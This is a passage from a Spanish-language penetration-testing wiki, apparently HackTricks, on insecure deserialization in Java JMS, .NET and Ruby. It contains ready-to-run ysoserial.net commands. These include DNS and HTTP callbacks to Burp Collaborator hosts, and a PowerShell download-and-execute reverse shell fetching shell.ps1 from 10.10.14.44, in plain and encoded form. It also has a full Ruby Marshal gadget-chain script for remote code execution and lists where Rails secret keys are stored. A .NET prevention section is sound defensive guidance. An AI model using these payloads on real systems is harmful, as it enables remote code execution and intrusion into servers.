[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * CVEs de deserialización: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) ## Inyección JNDI y log4Shell Encuentra qué es **la inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página: {% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} [jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md) {% endcontent-ref %} ## JMS - Servicio de mensajes de Java > El **Java Message Service** (**JMS**) API es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema productor-consumidor. JMS es parte de la Plataforma Java, Enterprise Edition (Java EE), y fue definido por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad de Java. Es un estándar de mensajería que permite a los componentes de la aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)). ### Productos Hay varios productos que utilizan este middleware para enviar mensajes: ![](<../../.gitbook/assets/image (291).png>) ![](<../../.gitbook/assets/image (292).png>) ### Explotación Entonces, básicamente hay **un montón de servicios que usan JMS de una manera peligrosa**. Por lo tanto, si tienes **suficientes privilegios** para enviar mensajes a estos servicios (generalmente necesitarás credenciales válidas), podrías ser capaz de enviar **objetos maliciosos serializados que serán deserializados por el consumidor/suscriptor**.\ Esto significa que en esta explotación, **todos los clientes que vayan a usar ese mensaje se infectarán**. Debes recordar que incluso si un servicio es vulnerable (porque está deserializando de manera insegura la entrada del usuario), aún necesitas encontrar gadgets válidos para explotar la vulnerabilidad. La herramienta [JMET](https://github.com/matthiaskaiser/jmet) fue creada para **conectar y atacar estos servicios enviando varios objetos maliciosos serializados usando gadgets conocidos**. Estos exploits funcionarán si el servicio sigue siendo vulnerable y si alguno de los gadgets utilizados está dentro de la aplicación vulnerable. ### Referencias * Charla de JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) * Diapositivas: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) ## .Net .Net es similar a Java en cuanto a cómo funcionan las explotaciones de deserialización: El **exploit** abusará de los gadgets que **ejecutan** algún **código interesante cuando** se **deserializa** un objeto. ### Huella digital #### Caja blanca Busca en el código fuente los siguientes términos: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` Busca cualquier serializador donde el tipo sea establecido por una variable controlada por el usuario. #### Caja negra Puedes buscar la cadena codificada en Base64 **AAEAAAD/////** o cualquier otra cosa que **pueda ser deserializada** en el back-end y que te permita controlar el tipo deserializado, por ejemplo, un **JSON** o **XML** que contenga `TypeObject` o `$type`. ### ysoserial.net En este caso, puedes usar la herramienta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **crear los exploits de deserialización**. Una vez descargado el repositorio de git, debes **compilar la herramienta** usando Visual Studio, por ejemplo. Si quieres aprender sobre **cómo ysoserial.net crea su exploit**, puedes [**consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). Las opciones principales de **ysoserial.net** son: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* y **`--plugin`.** * **`--gadget`** se utiliza para indicar el gadget a abusar (indica la clase/función que se abusará durante la deserialización para ejecutar comandos). * **`--formatter`**, se utiliza para indicar el método para serializar el exploit (necesitas saber qué biblioteca ```bash #Send ping ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 #Timing #I tried using ping and timeout but there wasn't any difference in the response timing from the web server #DNS/HTTP request ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64 #Reverse shell #Create shell command in linux echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0 #Create exploit using the created B64 shellcode ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a entender mejor cómo funciona cada exploit: `--test`. Si indicas este parámetro, **ysoserial.net** intentará el exploit localmente, para que puedas probar si tu carga útil funcionará correctamente. Este parámetro es útil porque si revisas el código, encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) { try { SerializersHelper.JsonNet_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } ``` Esto significa que para probar el exploit, el código llamará a [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539). ```java public static object JsonNet_deserialize(string str) { Object obj = JsonConvert.DeserializeObject(str, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); return obj; } ``` En el **código anterior es vulnerable al exploit creado**. Por lo tanto, si encuentras algo similar en una aplicación .Net, probablemente esa aplicación también sea vulnerable.\ Por lo tanto, el parámetro **`--test`** nos permite entender **qué fragmentos de código son vulnerables** al exploit de deserialización que puede crear **ysoserial.net**. ### ViewState Echa un vistazo a [esta publicación sobre **cómo intentar explotar el parámetro \_\_ViewState de .Net**](exploiting-\_\_viewstate-parameter.md) para **ejecutar código arbitrario**. Si **ya conoces los secretos** utilizados por la máquina víctima, [**lee esta publicación para saber cómo ejecutar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.** ### **Prevención** No permitas que el flujo de datos defina el tipo de objeto al que se deserializará el flujo. Puedes prevenir esto utilizando, por ejemplo, `DataContractSerializer` o `XmlSerializer` si es posible. Donde se esté utilizando `JSON.Net`, asegúrate de que `TypeNameHandling` solo esté configurado en `None`. ``` TypeNameHandling = TypeNameHandling.None ``` Si se va a utilizar `JavaScriptSerializer`, no lo use con un `JavaScriptTypeResolver`. Si es necesario deserializar flujos de datos que definen su propio tipo, entonces restrinja los tipos que se permiten deserializar. Hay que tener en cuenta que esto sigue siendo arriesgado ya que muchos tipos nativos de .Net son potencialmente peligrosos en sí mismos. Por ejemplo: ``` System.IO.FileInfo ``` Los objetos `FileInfo` que hacen referencia a archivos en el servidor pueden cambiar las propiedades de esos archivos, por ejemplo, a solo lectura, creando un posible ataque de denegación de servicio, cuando se deserializan. Incluso si ha limitado los tipos que pueden ser deserializados, recuerde que algunos tipos tienen propiedades que son riesgosas. `System.ComponentModel.DataAnnotations.ValidationException`, por ejemplo, tiene una propiedad `Value` de tipo `Object`. Si este tipo es el tipo permitido para la deserialización, entonces un atacante puede establecer la propiedad `Value` en cualquier tipo de objeto que elija. Los atacantes deben ser impedidos de dirigir el tipo que se instanciará. Si esto es posible, incluso `DataContractSerializer` o `XmlSerializer` pueden ser subvertidos, por ejemplo. ``` // Action below is dangerous if the attacker can change the data in the database var typename = GetTransactionTypeFromDatabase(); var serializer = new DataContractJsonSerializer(Type.GetType(typename)); var obj = serializer.ReadObject(ms); ``` La ejecución puede ocurrir dentro de ciertos tipos de .Net durante la deserialización. Crear un control como el que se muestra a continuación es ineficaz. ``` var suspectObject = myBinaryFormatter.Deserialize(untrustedData); //Check below is too late! Execution may have already occurred. if (suspectObject is SomeDangerousObjectType) { //generate warnings and dispose of suspectObject } ``` Para `BinaryFormatter` y `JSON.Net` es posible crear una forma más segura de control de lista blanca utilizando un `SerializationBinder` personalizado. Trate de mantenerse actualizado sobre los gadgets de deserialización inseguros conocidos de .Net y preste especial atención donde dichos tipos pueden ser creados por sus procesos de deserialización. **Un deserializador solo puede instanciar tipos que conoce**. Trate de mantener cualquier código que pueda crear gadgets potenciales separado de cualquier código que tenga conectividad a Internet. Como ejemplo, `System.Windows.Data.ObjectDataProvider` utilizado en aplicaciones WPF es un gadget conocido que permite la invocación arbitraria de métodos. Sería arriesgado tener esta referencia a esta biblioteca en un proyecto de servicio REST que deserializa datos no confiables. ### **Referencias** * Deserialización de JSON de Java y .Net **documento:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp) * [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf) * [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** Ruby tiene dos métodos para implementar la serialización dentro de la biblioteca **marshal**: el primer método es **dump** que convierte el objeto en flujos de bytes **(serializar)**. Y el segundo método es **load** para convertir el flujo de bytes en objeto nuevamente (**deserializar**).\ Ruby utiliza HMAC para firmar el objeto serializado y guarda la clave en uno de los siguientes archivos: * config/environment.rb * config/initializers/secret\_token.rb * config/secrets.yml * /proc/self/environ Cadena de gadgets de deserialización genérica de Ruby 2.X a RCE (más información en [https://www.elttam.com/blog/ruby-deserialization/](https://www.elttam.com/blog/ruby-deserialization/)): ```ruby #!/usr/bin/env ruby class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2" puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` Otra cadena de RCE para explotar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).